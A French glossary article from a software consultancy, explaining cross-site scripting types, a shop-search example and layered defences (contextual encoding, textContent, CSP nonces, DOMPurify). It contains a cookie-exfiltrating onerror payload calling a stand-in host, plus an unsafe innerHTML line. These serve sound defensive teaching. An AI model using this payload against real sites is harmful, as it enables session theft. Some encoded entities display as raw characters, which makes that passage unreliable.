Engineer

Cross-site scripting

faire exécuter le script d'un attaquant dans une page

Ce que c’est

Le cross-site scripting, presque toujours abrégé en XSS, est l’attaque dans laquelle un site prend du texte provenant d’un tiers, l’insère dans une page servie à d’autres personnes et ne le neutralise pas au passage : le navigateur en lit alors une partie comme du code et l’exécute. La Common Weakness Enumeration le répertorie sous CWE-79, avec un titre qui exprime presque la même chose : une entrée laissée sans neutralisation lors de la génération d’une page web. L’attaquant ne modifie jamais le code du site. Il fournit des données, et le site livre lui-même le script à ses utilisateurs, dans ses propres pages.

Il existe trois voies, décrites par CWE et OWASP. Dans le XSS réfléchi, aussi appelé non persistant ou Type 1, la charge malveillante arrive dans la requête, généralement par un paramètre d’URL, et le serveur la recopie dans la réponse : une page de résultats de recherche, un message d’erreur, tout ce qui répète l’entrée reçue. La victime doit être incitée à ouvrir un lien spécialement construit ; c’est pourquoi CWE place ces liens au cœur de nombreux dispositifs d’hameçonnage. Dans le XSS stocké, aussi appelé persistant ou Type 2, la charge est d’abord enregistrée dans un commentaire, un message de forum, un champ de profil ou un message de journal ; elle s’exécute pour toute personne qui consulte ensuite cet enregistrement. Dans le XSS fondé sur le DOM, Type 0, le serveur peut ne jamais voir la charge. Le JavaScript de la page lit une valeur contrôlée par l’attaquant, par exemple la partie de l’URL après le `#`, et l’écrit dans le document de façon à ce que le navigateur l’interprète comme du balisage.

Le nom décrit mal le problème actuel, et OWASP le dit : sa fiche de prévention le qualifie d’appellation impropre. Il vient des premières attaques qui volaient des données entre sites, puis s’est étendu à l’injection de presque tout type de contenu dans une page, qu’un second site intervienne ou non. Même

l'abréviation a une histoire. CWE rappelle que le sigle évident de trois lettres était courant au début, avant que la collision avec Cascading Style Sheets ne le fasse abandonner.

OWASP classe XSS parmi les injections, dans la même famille que l'injection SQL. Dans les deux cas, des données franchissent une limite pour être lues comme des instructions : là, le SQL exécuté par une base ; ici, le balisage, les valeurs d'attribut et le JavaScript d'une page. La solution suit le même principe : gardez les données comme données au moment de les insérer, et l'interpréteur n'a rien à exécuter pour le compte de l'attaquant.

Utilisez le concept pour prendre une décision

Utilisez « Qu'est-ce que le cross-site scripting ? » pour éclairer une décision réelle. Nous pouvons vous aider à relier ce concept au système que vous construisez ou achetez. Des comptes, mots de passe et droits attribués selon les besoins exacts de chaque poste, puis retirés le jour du départ.

Découvrir nos prestations Contactez-nous →

Vérifiez les hypothèses derrière le terme

Appuyez-vous sur l'explication et les réalisations liées pour formuler les questions de votre projet. Nous pouvons examiner les hypothèses avec vous avant le choix d'un outil. 1 000 règles RBAC pour sécuriser Linux — 1,000 règles d'accès écrites pour combler une faille de sécurité

1 000 règles RBAC pour sécuriser Linux Contactez-nous →

Pourquoi c'est important

Le script s'exécute comme celui du site. Le navigateur ne garde aucune trace de l'origine du texte ; il voit une page servie par le site, depuis son origine, et donne au script tous les droits de cette origine. OWASP résume le problème : le navigateur « n'a aucun moyen de savoir que ce script ne mérite pas confiance ». CWE en tire la conséquence : l'attaque déjoue l'intention de la politique de même origine, qui doit empêcher le script d'un site d'accéder à un autre.

Le script peut faire tout ce que l'utilisateur pourrait faire. CWE-79 cite le vol d'informations privées dans les cookies, notamment les données de session, comme l'attaque la plus fréquente et souligne le danger particulier lorsque la victime dispose de privilèges d'administration sur le site. La liste d'OWASP est plus longue : usurper le compte, observer l'activité de l'utilisateur, charger du contenu extérieur, voler des données sensibles et réécrire la page. Un XSS stocké dans un message de journal est une voie classique vers ces victimes. CWE l'utilise comme exemple, car les personnes qui lisent les journaux sont souvent administratrices et un visualiseur de journaux peut mal traiter une entrée hostile.

Toutes les équipes web sont concernées, pas seulement celles qui écrivent encore le balisage à la main. Les frameworks modernes ont rendu XSS plus rare : OWASP attribue cette baisse du nombre de failles à leurs templates et à leur échappement automatique. Chaque framework conserve toutefois des mécanismes de contournement pour insérer directement du balisage, et OWASP les cite comme les endroits où les problèmes persistent. La même fiche précise qu'aucune technique ne suffit seule et qu'il faut les combiner. C'est le cadre du reste de cet article : d'abord encoder pour le bon contexte, puis placer les autres couches derrière.

À quoi cela ressemble en pratique

Prenez une boutique dont la recherche réaffiche le terme saisi : `https://shop.example/search?q=lamp` montre `Results: lamp`. Le serveur construit cette ligne en collant le paramètre dans son template. Un attaquant envoie à la victime un lien dont le `q` est :

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

Le serveur l'insère comme avant, et le navigateur de la victime reçoit :

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

L'image ne se charge pas, car `x` n'est pas une image, et le navigateur exécute le gestionnaire `onerror`, qui envoie les cookies de l'utilisateur au serveur de l'attaquant. Le code est dans un attribut, pas dans un élément `<script>`, ce qui est typique : l'exemple de charge d'OWASP utilise de la même façon l'attribut `onerror` d'une image.

La solution est d'encoder la valeur pour l'endroit où elle arrive. Dans le texte du corps HTML, les cinq caractères `&`, `<`, `>`, `"` et `'` deviennent `&`, `<`, `>`, `"` et `'`. La même charge arrive alors sous la forme `<img src=x onerror="...">`, que le navigateur affiche comme du texte sans jamais l'analyser comme une balise. Les frameworks à échappement automatique le font pour vous ; la faille s'ouvre là où une chaîne est assemblée à la main.

Dans la version fondée sur le DOM, le serveur envoie seulement une page statique, et le script de la page lit `q` puis l'écrit dans le titre :

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // parses q as HTML
heading.textContent = `Results for ${q}`; // shows q as text
```

La ligne `innerHTML` confie le balisage de l'attaquant à l'analyseur HTML, et le gestionnaire `onerror` se déclenche comme avant. La norme HTML précise qu'un élément `<script>` inséré de cette manière ne s'exécute pas du tout ; les charges s'appuient donc sur des attributs de gestionnaires d'événements. La ligne `textContent` crée un nœud texte sans rien analyser : la même valeur apparaît comme des caractères inoffensifs. La fiche DOM XSS d'OWASP présente le choix d'un point d'insertion sûr comme la meilleure solution, et sa fiche générale recommande de remplacer `innerHTML` par `textContent` dans le code.

Une seconde couche se place derrière l'encodage. Une Content Security Policy qui déclare un nonce dit au navigateur de n'exécuter que les scripts qui le portent. Le projet de norme actuel du W3C exige un nonce neuf à chaque envoi de politique et recommande au moins 128 bits issus d'un générateur aléatoire cryptographiquement sûr. Un `<script>` injecté n'a pas de nonce, et un gestionnaire en ligne comme le `onerror` ci-dessus est lui aussi refusé : seuls `'unsafe-inline'` ou `'unsafe-hashes'` peuvent autoriser les gestionnaires, et un nonce désactive `'unsafe-inline'`. Le projet cite `script-src 'strict-dynamic' 'nonce-{RANDOM}'` avec `base-uri 'self'` comme une défense XSS efficace et déployable en pratique. Sur les navigateurs fondés sur Chromium, `require-trusted-types-for 'script'` va plus loin et fait refuser les chaînes ordinaires par des points d'insertion tels que `innerHTML`. OWASP avertit toutefois qu'une politique est facile à mal configurer et en fait une couche supplémentaire plutôt que la défense principale.

Sur une plateforme contenant des données professionnelles et organisationnelles, le middleware Next.js définit cette politique avec un nonce par requête et strict-dynamic aux côtés de HSTS et de cookies SameSite, pour encadrer strictement ce que le navigateur exécute et envoie. La même page décrit des protections organisées en couches pour éviter de dépendre d'un seul contrôle. L'autorisation côté serveur est conçue pour fonctionner indépendamment des vérifications côté client ; l'interface ne fait donc pas autorité pour les décisions d'accès.

Où les problèmes surviennent

L'encodage vise le mauvais contexte. L'encodage en entités HTML convient au texte entre les balises et ne suffit pas ailleurs. OWASP donne une règle à chaque contexte : une valeur dans un paramètre d'URL est encodée en pourcentage sous la forme `%HH`, et une valeur dans un attribut est encodée pour les attributs et entourée de guillemets. L'encodage ne protège par ailleurs que l'endroit où la chaîne est placée, pas son traitement ultérieur ; une valeur transmise à `eval()` reste dangereuse, quoi qu'on lui ait fait auparavant. Repérez la destination de chaque valeur et utilisez l'encodeur du framework prévu pour cet endroit.

Les attributs ne sont pas entre guillemets. Un blanc termine une valeur d'attribut sans guillemets ; un attaquant capable d'ajouter un espace peut donc ajouter son propre attribut, et `onmouseover=` suffit. Mettez toujours les valeurs d'attribut entre guillemets et utilisez l'encodeur d'attributs du framework.

Des données utilisateur entrent dans un attribut de gestionnaire d'événement. L'encodage d'attribut ne protège pas le JavaScript de `onclick` ou de ses équivalents, car l'analyseur HTML décode les références de caractères avant l'exécution du script. Attachez les gestionnaires avec `addEventListener()` et transmettez la valeur de l'utilisateur comme donnée.

Un mécanisme de contournement du framework reçoit une entrée brute. `dangerouslySetInnerHTML` de React, les fonctions `bypassSecurityTrustAs*` d'Angular et `unsafeHTML` de Lit désactivent tous l'échappement automatique. Lorsque les utilisateurs ont réellement besoin d'écrire du balisage, passez-le dans un outil de nettoyage tel que DOMPurify, recommandé par OWASP, ne modifiez plus le résultat et gardez la bibliothèque à jour, car de nouveaux contournements sont régulièrement découverts.

Un lien contient une URL `javascript:` **.** Le champ de site web d'un profil contenant `javascript:` suivi de code transforme un lien apparemment inoffensif en script. React 19 bloque ces URL dans `src` et `href`, mais OWASP précise que cela ne remplace pas la validation des URL par l'application. N'autorisez que les schémas réellement nécessaires au champ, comme `https:`, et refusez tout le reste.

La validation d'entrée ou un WAF passe pour la solution. La validation aide, mais ne peut enlever tous les caractères dangereux d'un texte libre. L'exemple de CWE est l'émoticône de cœur `<3`, qu'une application de discussion laisserait

probablement passer et qui contient pourtant `<` . Un pare-feu applicatif web reconnaît des chaînes d'attaque connues, ne détecte pas les nouveaux contournements et ne voit jamais le XSS fondé sur le DOM qui se produit entièrement dans le navigateur ; OWASP ne le recommande pas pour prévenir XSS. Encodez la sortie et traitez les deux comme des couches supplémentaires.

HttpOnly passe pour un remède. Marquer le cookie de session HttpOnly empêche `document.cookie` de le lire, ce qui réduit l'efficacité de la charge la plus courante. Le script s'exécute pourtant toujours et peut agir en tant qu'utilisateur depuis la page. CWE dit qu'HttpOnly n'est pas une solution complète, et OWASP précise que les attributs des cookies limitent les conséquences sans empêcher l'exécution. Définissez-le et corrigez l'injection.

JSON est servi comme du HTML. Un point d'accès qui renvoie les données utilisateur avec `Content-Type: text/html` invite le navigateur à les analyser comme une page. OWASP demande de vérifier que JSON part en `application/json` . Définissez explicitement cet en-tête dans chaque réponse concernée.

La politique passe pour la défense principale. Un nonce réutilisé entre réponses, un `base-uri` manquant ou un `'unsafe-inline'` ajouté pour faire fonctionner un widget : chacun de ces défauts peut annuler discrètement une politique. Encodez d'abord et laissez la politique arrêter ce qui passe malgré tout.

Pour aller plus loin

- CWE-79 dans la Common Weakness Enumeration — la faiblesse : les trois types, les conséquences et les mesures d'atténuation avec leurs limites.
- Fiche OWASP de prévention du cross-site scripting — encodage par contexte, mécanismes de contournement des frameworks, nettoyage et couches supplémentaires.
- Fiche OWASP de prévention du XSS fondé sur le DOM — points d'insertion sûrs et dangereux dans le navigateur, avec des exemples détaillés.
- OWASP : Cross Site Scripting (XSS) — l'attaque vue du côté de l'attaquant, avec des exemples de charges.
- Norme HTML : scripts — comment et quand l'élément `script` s'exécute, y compris dans du balisage inséré.
- Content Security Policy Level 3 — nonces, `'strict-dynamic'` et politique stricte recommandée par le projet.

Glossaire

Choisissez selon vos contraintes réelles

Présentez le parcours de déploiement, les risques opérationnels et les personnes d'astreinte. Nous pouvons définir un changement avec des vérifications, une procédure de reprise et une responsabilité claire.

Consulter les tarifs Contactez-nous →

Rendez la terminologie concrète

Demandez comment « Qu'est-ce que le cross-site scripting ? » s'applique à votre organisation. Un exemple concret tiré de votre système actuel suffit pour engager la discussion.

Découvrir nos prestations

welcome@engineer.company +45 50 10 61 84 Copenhague, Danemark

Emportez cette page avec vous

Fiche de contact

Créé avec soin et amour par D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

Droit d'auteur © 2025 – aujourd'hui · Engineer ApS · Tous droits réservés.

Imprimé depuis https://engineer.company/fr/glossary/cross-site-scripting/